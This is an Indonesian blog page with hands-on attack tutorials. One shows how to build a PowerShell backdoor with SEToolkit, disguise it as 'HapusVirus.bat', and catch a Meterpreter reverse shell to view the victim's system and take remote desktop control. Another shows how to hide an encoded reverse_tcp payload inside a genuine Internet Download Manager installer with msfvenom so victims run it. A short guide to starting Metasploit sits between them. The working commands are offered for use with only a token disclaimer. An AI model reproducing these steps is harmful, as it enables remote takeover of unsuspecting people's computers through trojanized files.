Anherr Blog's: Backbox

Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0

<div style="text-align: justify;">
Halo teman-teman, kali ini saya akan membagikan percobaan yang saya lakukan yaitu tentang exploit windows dengan menggunakan Social Engiinering Toolkit dan Metasploit, dalam kasus ini Social Engiinering Toolkit hanya digunakan untuk pembuatan backdoor saja, dan Metasploit tetap sebagai tools utamanya, cara ini bukan hanya dapat digunakan di Kali Linux saja namun bisa juga menggunakan distro pentest yang lainnya asal ada metasploit dan setoolkit, baiklah langsung saja ke pembahasan.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Pertama buka terminal kali linux kalian, lalu jalankan Social Engiinering Toolkit denga perintah</div>
<blockquote class="tr_bq" style="text-align: justify;">
setoolkit</blockquote>
Nanti akan ditampilkan beberapa menu dari Setoo<span style="text-align: justify;">Social Engiinering Toolkit,</span><br />
Lalu pilih yang nomor <b>1) Social-Engineering Attacks</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1EMWIHuiFw5SI3FCJYp5AGrjqCMAT_zzcTbYZpPcwVNvs5kP5iR5HZJa5Z9OByaJhXg47KU8PGYzdGPRWtlGZncwubmCqYCV2HyD8LrB_FdaR2IPhWotpeIOHaYUroGrQR7ZLI0bDS70/s1600/Social-Engineering-Attacks.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="1) Social-Engineering Attacks" border="0" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1EMWIHuiFw5SI3FCJYp5AGrjqCMAT_zzcTbYZpPcwVNvs5kP5iR5HZJa5Z9OByaJhXg47KU8PGYzdGPRWtlGZncwubmCqYCV2HyD8LrB_FdaR2IPhWotpeIOHaYUroGrQR7ZLI0bDS70/s320/Social-Engineering-Attacks.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div>
<br />
Selanjutnya pilih nomor <b>9) Powershell Attck Vectors</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSmK1sPBEENJVutq-YtP04iNeMp1oD2Y2s5YpI4LcP001D3F73LFOIAM5rRf8BuVzE7WgkBSYD8i1eRmlSrXL7uupPuYbM_U_vgvjkS0_wJOIP98_EoEz0T-Nuynog8IzsloBYLP7xRq8/s1600/Powershell-Attack-Vectors.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="9) Powershell Attck Vectors" border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSmK1sPBEENJVutq-YtP04iNeMp1oD2Y2s5YpI4LcP001D3F73LFOIAM5rRf8BuVzE7WgkBSYD8i1eRmlSrXL7uupPuYbM_U_vgvjkS0_wJOIP98_EoEz0T-Nuynog8IzsloBYLP7xRq8/s320/Powershell-Attack-Vectors.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div>
<br />
Pada pilihan selanjutnya pilih nomor <b>1)</b> <b>Powershell Alphanumeric Shellcode Injector</b><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq1M800ZuSWOJcXxrqHGAF6enNQYYDjrcUTJg9OQuxLRS02jKEUB57ebeDZrfvKNnFWthz90GLXXhrulwljyFc5qPffUrztLIEyebmoVvDgtZdOM9FKfWpU2jWwNnHkMZlff0UkskJiok/s1600/Powershell-Alphanumeric-Shellcode-Injector.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="1) Powershell Alphanumeric Shellcode Injector" border="0" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq1M800ZuSWOJcXxrqHGAF6enNQYYDjrcUTJg9OQuxLRS02jKEUB57ebeDZrfvKNnFWthz90GLXXhrulwljyFc5qPffUrztLIEyebmoVvDgtZdOM9FKfWpU2jWwNnHkMZlff0UkskJiok/s320/Powershell-Alphanumeric-Shellcode-Injector.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div>
<br />
<div style="text-align: justify;">
Selanjutnya kita akan diminta untuk mengisikan IP Addres untuk listener payload, Jadi isikan IP kalian, lalu isikan port juga, disini saya gunakan port default yang sering digunakan yaitu <b>443</b>, lalu Pada pertanyaan <b>Do you want to start the listener now [yes/no]:</b> pilih saja yang ketikkan <b>no</b>.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_i7-6x8v_ofcGNGUQiIw9dh-011motJ-WmZhVMZE1f-sgUKve5NEeVM2czgNc2PBACbzO8E_tsAMuOG16ioKDSflqZba3jO5xfuBiOB5k0lKSPKemunLS7Fd0ma9_OWK49QkpgHkrgwk/s1600/IP-address-for-the-payload-listener.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Masukkan IP dan PORT linstener" border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_i7-6x8v_ofcGNGUQiIw9dh-011motJ-WmZhVMZE1f-sgUKve5NEeVM2czgNc2PBACbzO8E_tsAMuOG16ioKDSflqZba3jO5xfuBiOB5k0lKSPKemunLS7Fd0ma9_OWK49QkpgHkrgwk/s320/IP-address-for-the-payload-listener.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
</div>
<div style="text-align: left;">
<div style="text-align: justify;">
Screenshot di atas tertulis bahwa payload tersimpan pada folder <b>/root/.set/report/powershell/</b>, disana terdapat file dengan nama <b>x86_powershell_injection.txt</b>, itu merupakan backdoor yang akan digunakan, kemudian rename file tersebut dengan format <b>.bat</b> (biasanya folder .set ini terhidden untuk memunculkannya tekan CTRL+H)</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYmDFWR-6W5JqtMB9u49YIx1HAfWQUZzbrfZsCmCeyhy-KbrZVBkgNISHbqIubuZiAv97AaVj27vmxg1thv8_aQDhVFtEiKNIPomyzH2_A4ldPKPdLn9AuJp_rV9mAjJeMkscjCvVHDnk/s1600/x86_powershell_injection.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="rename payload" border="0" height="215" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYmDFWR-6W5JqtMB9u49YIx1HAfWQUZzbrfZsCmCeyhy-KbrZVBkgNISHbqIubuZiAv97AaVj27vmxg1thv8_aQDhVFtEiKNIPomyzH2_A4ldPKPdLn9AuJp_rV9mAjJeMkscjCvVHDnk/s320/x86_powershell_injection.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div>
<br />
<div style="text-align: justify;">
Jika tidak ingin ribet kita dapat mengcopy dan rename dengan menggunakan perintah terminal seperti di bawah ini </div>
<blockquote class="tr_bq">
mv /root/.set/powershell/<span style="text-align: justify;">x86_powershell_injection.txt <b>/root/Desktop/HapusVirus.bat</b></span></blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWd32A1v0xpNbKJCube_8hLgbzzNruxyiPEKLLL7uGwp9iEKq6Wg0tEyGqVDVFUogpS9G7v8Oo6hNwIiCxEfLNxeypfnFPScQKHCS7ZbU_otx2Dem84HmZGTPdCjh5VAzbaSUstP7Io9o/s1600/HapusVirus.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="mv /root/.set/powershell/x86_powershell_injection.txt /root/Desktop/HapusVirus.bat" border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWd32A1v0xpNbKJCube_8hLgbzzNruxyiPEKLLL7uGwp9iEKq6Wg0tEyGqVDVFUogpS9G7v8Oo6hNwIiCxEfLNxeypfnFPScQKHCS7ZbU_otx2Dem84HmZGTPdCjh5VAzbaSUstP7Io9o/s320/HapusVirus.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div>
<br />
<div style="text-align: justify;">
Nanti file tersebut akan tersimpan di  <b>/root/Desktop</b> dengan nama <b>HapusVirus.bat</b> (bisa kalian sesuaikan sendiri namanya)</div>
<br />
<div style="text-align: justify;">
Tahap selanjutnya adalah mengirimkan backdoor tersebut ke komputer target, namun sebelumnya kita buat terlebih dahulu exploitnya.</div>
<div>
<br /></div>
Sebelumnya jalankan service postgresql, dengan perintah<br />
<blockquote class="tr_bq">
/etc/init.d/postrgresql start</blockquote>
<div style="text-align: justify;">
Bagi yang baru pertama kali menjalankan metasploit, lanjutkan dengan perintah dibawah ini untuk membuat databse msf</div>
<blockquote class="tr_bq">
msfdb init</blockquote>
<div style="text-align: justify;">
Bagi yang sudah pernah membuatnya, bisa langsung menjalankan postgresql lalu dilanjutkan dengan membuka msfconsole</div>
<blockquote class="tr_bq">
msfconsole</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi09odsNkpioL930lsoNPKfbLoOd6TL16ymiL4t9JiQ14negUc_aM9A4g5V2dNtdtT_ou6LxWeQmnbkg4UKiN9QXvT_FzvGHXpfbV34eX_wxqSAZ40lyv_HNsQchR6wSjMRrvSz3BNopEU/s1600/msfdb-init.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfconsole" border="0" height="122" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi09odsNkpioL930lsoNPKfbLoOd6TL16ymiL4t9JiQ14negUc_aM9A4g5V2dNtdtT_ou6LxWeQmnbkg4UKiN9QXvT_FzvGHXpfbV34eX_wxqSAZ40lyv_HNsQchR6wSjMRrvSz3BNopEU/s320/msfdb-init.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div>
<br />
Lalu ketikkan perintah-perintah dibawah ini<br />
<blockquote class="tr_bq">
use exploit/multi/handler<br />
set payload windows/meterpreter/reverse_tcp<br />
set LHOST 192.168.1.103<br />
set LPORT 443<br />
exploit</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAbfKqlWYE_IRYFCGYe8e-ufbjuRKaAcM1SgjesfWF6CEFntSK0rTou4NLBmZLqnAS03sBKx9gHlAuUARD5FNcOvPvYD6ZLdi3H0f_brcwJRn34FQ0ePCdemjdemC5H7JyOgSJi6Xvj8w/s1600/exploit.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="exploit" border="0" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAbfKqlWYE_IRYFCGYe8e-ufbjuRKaAcM1SgjesfWF6CEFntSK0rTou4NLBmZLqnAS03sBKx9gHlAuUARD5FNcOvPvYD6ZLdi3H0f_brcwJRn34FQ0ePCdemjdemC5H7JyOgSJi6Xvj8w/s320/exploit.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div>
<br />
Isikan LHOST dan LPORT sesui dengan backdoor yang di buat di atas<br />
<br />
<div style="text-align: justify;">
Oke setelah semua selesai, tinggal kita kirim backdoor tersebut ke komputer target.</div>
<div style="text-align: justify;">
Kurang lebih tampilan ketika backdoor dieksekusi oleh target akan  muncul cmd seperti di bawah ini, namun hanya sesaat dan otomatis akan tertutup</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjusvizRm4sbaQbHbFyz7FcH6HPRciN9VIqk6Ucr5nim8LeGgtYced5W-3ewvYqXxNfJZBEFyn8AyEQhlw3v5j1Nf0E6wmoB4A2QCCG7fIiGpLsN3hT64iB35VMC9FKvhvkvH0V5DoTo5w/s1600/Run-Payload.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="payload di eksekusi" border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjusvizRm4sbaQbHbFyz7FcH6HPRciN9VIqk6Ucr5nim8LeGgtYced5W-3ewvYqXxNfJZBEFyn8AyEQhlw3v5j1Nf0E6wmoB4A2QCCG7fIiGpLsN3hT64iB35VMC9FKvhvkvH0V5DoTo5w/s320/Run-Payload.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div>
<br />
Dan kita pun mendapatkan sesi meterpreter<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgasgvxShMwKqPhOV1m14I-LORMJoNi2VTAFYl8arbGswhS7rRDdMWvZwv3m_3lZGrDvd9k6_x5krrVvUbtK42JlLqJTpbYj-bu2lqB6Uzasyz3QhyTL1ZUKPN8LGEO4BACjF01Z4fqRH8/s1600/meterpreter.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sesi meterpreter terbuka" border="0" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgasgvxShMwKqPhOV1m14I-LORMJoNi2VTAFYl8arbGswhS7rRDdMWvZwv3m_3lZGrDvd9k6_x5krrVvUbtK42JlLqJTpbYj-bu2lqB6Uzasyz3QhyTL1ZUKPN8LGEO4BACjF01Z4fqRH8/s320/meterpreter.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div>
<br />
Perintah meterpreter untuk melihat informasi sistem target<br />
<blockquote class="tr_bq">
sysinfo</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQqLJMH3dumX_PWANnv_GpYLNZE0vHbHjKQKmPTAVvVY3P6yeAfSuHxw6qRZT5I7EfpoOXxf6-JwbSPnHMfhQ6n6Uk2bfSj4KfonuO-FxhO3Lli6_uE-51fjxh6f9bpYoPbJZ4kndZPV8/s1600/sysinfo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="sysinfo" border="0" height="108" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQqLJMH3dumX_PWANnv_GpYLNZE0vHbHjKQKmPTAVvVY3P6yeAfSuHxw6qRZT5I7EfpoOXxf6-JwbSPnHMfhQ6n6Uk2bfSj4KfonuO-FxhO3Lli6_uE-51fjxh6f9bpYoPbJZ4kndZPV8/s320/sysinfo.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div>
<br />
Perintah meterptreter untuk remote desktop target<br />
<blockquote class="tr_bq">
run vnc</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXpchfy-P0PogKRdC7MUmODlfbWa7pTD8zmzEd5QlvzqSRy5a171lnNaD_hx2hyphenhyphenEDwwbMr9okcIBnbftt0suqSf-iNSdpvwO3kUPNIqBMbBv79A-u1cenDxeYLklvvHLlAgECnQaSRPo0/s1600/run-vnc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="run vnc" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXpchfy-P0PogKRdC7MUmODlfbWa7pTD8zmzEd5QlvzqSRy5a171lnNaD_hx2hyphenhyphenEDwwbMr9okcIBnbftt0suqSf-iNSdpvwO3kUPNIqBMbBv79A-u1cenDxeYLklvvHLlAgECnQaSRPo0/s320/run-vnc.jpg" title="Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Oke, itu dulu yang bisa saya bagikan mengenai <b>Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0</b>. postingan ini di buat sebagai pengetahuan semata, segala penyalahgunaan dari postingan ini bukan tanggung jawab dari saya, Terima Kasih</div>

Exploit Windows dengan SEToolkit dan Metasploit di Kali Linux 2.0

Halo teman-teman, kali ini saya akan membagikan percobaan yang saya lakukan yaitu tentang exploit windows dengan menggunakan Social Engiine...

Baca selengkapnya »

Cara Menjalankan Metasploit Framework di Kali Linux 2.0

<div style="text-align: justify;">
Banyak yang mengira menjalankan metasploit di kali linux 2.0 ini sama dengan versi Kali Linux yang sebelumnya. yaitu dengan menjalankan servcie postgresql dan service metasploit seperti di bawah ini<br />
<blockquote class="tr_bq">
service postgresql start<br />
service metasploit start</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv_ecBnYbFuoDgYEfTrpmyK1vVrnlKhwo09Felc6R2GjNtAfL-GjN6vqTTb8MWgWVfSQyjUZaUFRKKp9nftspK-vkjZ4t_eTUnx9H8HkIOHpPLJzY83cwE7uIzUkDryIYcj8lviHs21Tk/s1600/service-metasploit-start.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Failed to start metasploit.service: Unit metasploit.service failed to load: No such file or directory." border="0" height="86" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv_ecBnYbFuoDgYEfTrpmyK1vVrnlKhwo09Felc6R2GjNtAfL-GjN6vqTTb8MWgWVfSQyjUZaUFRKKp9nftspK-vkjZ4t_eTUnx9H8HkIOHpPLJzY83cwE7uIzUkDryIYcj8lviHs21Tk/s320/service-metasploit-start.jpg" title="Failed to start metasploit.service: Unit metasploit.service failed to load: No such file or directory." width="320" /></a></div>
<br />
Pada screenshot di atas ketika menjalankan service postgresql tidak muncul pesan sama sekali, dan ketika menjalankan service metasploit muncul pesan error seperti berikut:<br />
<blockquote class="tr_bq">
<b>Failed to start metasploit.service: Unit metasploit.service failed to load: No such file or directory.</b></blockquote>
<div style="text-align: justify;">
Pesan error di atas sudah menjelaskan bahwa: <b>Gagal untuk memulai metasploit.service: Unit  metasploit.service gagal di buka: tidak ada file atau direktori.</b><br />
<b><br /></b></div>
<div style="text-align: justify;">
Seperti yang di jelaskan pada website <a href="https://www.kali.org/releases/kali-linux-20-released/">www.kali.org</a>, karena terdapat perubahan dalam paket metasploit-framework yang ada di dalam Kali Linux 2.0. ada beberapa perubahan kecil dalam cara memulai Metasploit di Kali Linux 2.0. nah di bawah ini saya berikan cara untuk menjalankan Metasploit di Kali 2.0 Sana<br />
<br />
Pertama ketikkan</div>
</div>
<div style="text-align: justify;">
<blockquote class="tr_bq">
/etc/init.d/postgresql start</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy-_nFRHNcXLsNEA1tGpdo51ucl_cSoy6sEVOkX5H_kWd7aj0KDMMs5PLz6mW9fLA177PVTb4XE0s55AXtMJHV35Pn9L82UFK_ko3wo-QGuIbB-Wvz82fNBd_52d_U4QqkrMiIEGbODE4/s1600/postgresql-start.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="/etc/init.d/postgresql start" border="0" height="63" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy-_nFRHNcXLsNEA1tGpdo51ucl_cSoy6sEVOkX5H_kWd7aj0KDMMs5PLz6mW9fLA177PVTb4XE0s55AXtMJHV35Pn9L82UFK_ko3wo-QGuIbB-Wvz82fNBd_52d_U4QqkrMiIEGbODE4/s320/postgresql-start.jpg" title="/etc/init.d/postgresql start" width="320" /></a></div>
<br />
Perintah diatas adalah untuk menjalankan postgresql server<br />
<blockquote class="tr_bq">
msfdb init</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7dMYPd1sfgD-d707C9281qcJ7zd-rVOwecXiA-uxjNFg5laxI_WBP4a8_NYI3GCGkCT1XE8vLEftWyvn7MYdVFgu_U88ytPl5-u_JP2_U5QFAT9fm2l4XE50U4dMFr_BGO3aYDQ1lXj0/s1600/msfdb-init.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfdb init" border="0" height="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7dMYPd1sfgD-d707C9281qcJ7zd-rVOwecXiA-uxjNFg5laxI_WBP4a8_NYI3GCGkCT1XE8vLEftWyvn7MYdVFgu_U88ytPl5-u_JP2_U5QFAT9fm2l4XE50U4dMFr_BGO3aYDQ1lXj0/s320/msfdb-init.jpg" title="msfdb init" width="320" /></a></div>
<br />
Perintah diatas digunakan untuk menginisialisai database metasploit framework. perintah ini cukup diketikkan ketika pertama kali kita menjalankan metasploit<br />
<br />
Selanjutnya tinggal jalankan metasploit console<br />
<blockquote class="tr_bq">
msfconsole</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf0sv9S7ni1uTWz2WyvAOoR9l09670j-1-z-CffXgwaB6JWxCMTj9VT0R2rRtFISXWlDrjjlAHiyO-k8J5ZX_Uf_n4u-GL7jRMhdJRSrL713rdwCKrrXI23ubKFo916VoEF9EqBwXbmfs/s1600/msfconsole.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfconsole" border="0" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf0sv9S7ni1uTWz2WyvAOoR9l09670j-1-z-CffXgwaB6JWxCMTj9VT0R2rRtFISXWlDrjjlAHiyO-k8J5ZX_Uf_n4u-GL7jRMhdJRSrL713rdwCKrrXI23ubKFo916VoEF9EqBwXbmfs/s320/msfconsole.jpg" title="Cara Menjalankan Metasploit Framework di Kali Linux 2.0" width="320" /></a></div>
<br />
msfconsole terbuka tanpa error apapun, untuk mengecek status database gunakan perintah berikut<br />
<blockquote class="tr_bq">
db_status</blockquote>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9VivZKamVWV_wSbAigBaE0O3Pdov8TGSKzQfwmLaQSBTL4WlrebCqAImGAKlQQSLrl0q7ivXwmyhpiCjnGzdShQCf5UuXAYdmTSTjCuj4QXIu4YJSP0W1WReghm7pXFsqN89rw8x7tq8/s1600/db_status.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="db_status" border="0" height="25" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9VivZKamVWV_wSbAigBaE0O3Pdov8TGSKzQfwmLaQSBTL4WlrebCqAImGAKlQQSLrl0q7ivXwmyhpiCjnGzdShQCf5UuXAYdmTSTjCuj4QXIu4YJSP0W1WReghm7pXFsqN89rw8x7tq8/s320/db_status.jpg" title="db_status" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">poststgresql connectec to msf</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: justify;">
Oke, sekian dulu tutorial mengenai <b>Cara Menjalankan Metasploit di Kali Linux 2.0</b> semoga bermanfaat. Terimakasih</div>
sumber:<a href="https://www.kali.org/releases/kali-linux-20-released/" rel="nofollow" target="_blank">www.kali.org</a></div>

Cara Menjalankan Metasploit Framework di Kali Linux 2.0

Banyak yang mengira menjalankan metasploit di kali linux 2.0 ini sama dengan versi Kali Linux yang sebelumnya. yaitu dengan menjalankan ser...

Baca selengkapnya »

Menyamarkan Backdoor Seperti File Installer (.exe)

<div style="text-align: justify;">
<div style="text-align: justify;">
Sebelum melakukan eksploitasi ke sebuah sistem kita memerlukan backdoor yang digunakan untuk jalan masuk ke sistem korban. Agar exploit tersebut berjalan user diharuskan mengeksekusi backdoor tersebut, untuk itu kita diharuskan se-kreatif mungkin agar user tersebut mengesekusi backdoor yang dikirimkan, contohnya dengan menyamarkan backdoor  menyerupai file installer aplikasi.</div>
<div style="text-align: justify;">
Sebagai contoh kali ini saya akan menyamarkan backdoor seperti Installer Internet Download Manager (kalian juga dapat mencoba dengan file installer lainnya), disini tools yang digunakan adalah msfvenom dengan encoder shikata_ga_nai.</div>
<div style="text-align: justify;">
untuk melihat opsi dari perintah msfvenom ketikkan di terminal</div>
<blockquote class="tr_bq" style="text-align: justify;">
msfvenom -h</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_jeBYeY6AATHyp74smu1Nan8CZG6yokXZEY4fKONGfLNx8D8xKjkRb1wNT3zn7M46KCRdCTO4DcCa2Aek4kM9re7RvGDmnr6k_UZ19lTuoL6jlK9o7Hs-XHpWPdMvgutT0EpnBWcG0cw/s1600/msfvenom--h.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfvenom -h" border="0" height="164" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_jeBYeY6AATHyp74smu1Nan8CZG6yokXZEY4fKONGfLNx8D8xKjkRb1wNT3zn7M46KCRdCTO4DcCa2Aek4kM9re7RvGDmnr6k_UZ19lTuoL6jlK9o7Hs-XHpWPdMvgutT0EpnBWcG0cw/s320/msfvenom--h.jpg" title="msfvenom -h" width="320" /></a></div>
<br />
Contoh disini file asli installer IDM saya berada di <b>/root/Download/</b><b>idman625build11.exe</b><b> </b> dan hasil file outputnya akan saya simpan di folder <b>/root/Desktop/IDMan.exe </b><br />
<blockquote class="tr_bq">
msfvenom -a x86 --platform windows -x /root/Downloads/idman625build11.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=4444 -e x86/shikata_ga_nai -i 9 -f exe -o /root/Desktop/IDMan.exe</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0IkFGWj3Mek7hFbOV8d9tYWebzvUbJHNWhs_IYcL2r51Z1-HeTVdai2CxRV027l8SAhqrpej_tvLqRn3Ey8l0yiGYhG2O8cMkP3lW_7kW1DVPfRiUF3HH_z-ZvsYIwZkNoN9eg1gVesg/s1600/msfvenom--a-x86---platform-windows--x.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfvenom -a x86 --platform windows -x /root/Downloads/idman625build11.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=4444 -e x86/shikata_ga_nai -i 9 -f exe -o /root/Desktop/IDMan.exe" border="0" height="105" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0IkFGWj3Mek7hFbOV8d9tYWebzvUbJHNWhs_IYcL2r51Z1-HeTVdai2CxRV027l8SAhqrpej_tvLqRn3Ey8l0yiGYhG2O8cMkP3lW_7kW1DVPfRiUF3HH_z-ZvsYIwZkNoN9eg1gVesg/s320/msfvenom--a-x86---platform-windows--x.jpg" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
</div>
<div>
Keterangan :<br />
<b>- a</b> adalah architecture yang digunakan<br />
<b>--platform</b> adalah platform payload yang di buat<br />
<div>
<b>-x</b> posisi atau letak file exe yang hendak di injeksi<br />
<b>-k </b>perintah untuk mertahankan perilaku template(file.exe) dan menyuntikkan payload sebagai thread baru<br />
<b>-p </b>perintah untuk menentukan tipe payload<br />
<b>windows/meterpreter/reverse_tcp</b> adalah tipe payload yang digunakan </div>
<div>
<b>-lhost</b> adalah alamat IP kita</div>
<div>
<b>-lport</b> adalah yang akan kita gunakan dalam menjalankan listener ( reverse )<br />
<b>-e </b>untuk memilih encoder yang digunakan<br />
<b>x86/shikata_ga_nai </b>adalah encoder yang digunakan</div>
<div>
<b>-i</b> iterations (jumlah encode payload)</div>
<div>
<b>-f</b> format output</div>
<div>
<b>-o</b> output hasil file yang telah di injeksi ( backdoor result )<br />
<br />
Oke, selanjutnya kita uji coba backdoor tersebut, buka msfconsole<br />
<blockquote class="tr_bq">
msfconsole</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj06CpVk6wS_LBTdlEni2BEN2cM8e5HhRNm68_Ce4YzCkHfqldOdHreM-swUXFY_v5VwErSehN6FFkv4VtN0OvyYlNQeF5h4GQfVcRpm-FE0FGAnBcrYiGUkcOgvMtAkD8oy-3jIqoNT-g/s1600/msfconsole.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfconsole" border="0" height="164" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj06CpVk6wS_LBTdlEni2BEN2cM8e5HhRNm68_Ce4YzCkHfqldOdHreM-swUXFY_v5VwErSehN6FFkv4VtN0OvyYlNQeF5h4GQfVcRpm-FE0FGAnBcrYiGUkcOgvMtAkD8oy-3jIqoNT-g/s320/msfconsole.jpg" title="Menyamarkan Backdoor Seperti File Installer (.exe)" width="320" /></a></div>
<br />
Selanjutnya gunakan perintah<br />
<blockquote class="tr_bq">
use multi/handler<br />
set PAYLOAD windows/meterpreter/reverse_tcp<br />
set LHOST 192.168.1.106<br />
set LPORT 4444<br />
exploit</blockquote>
<div class="separator" style="clear: both; text-align: center;">
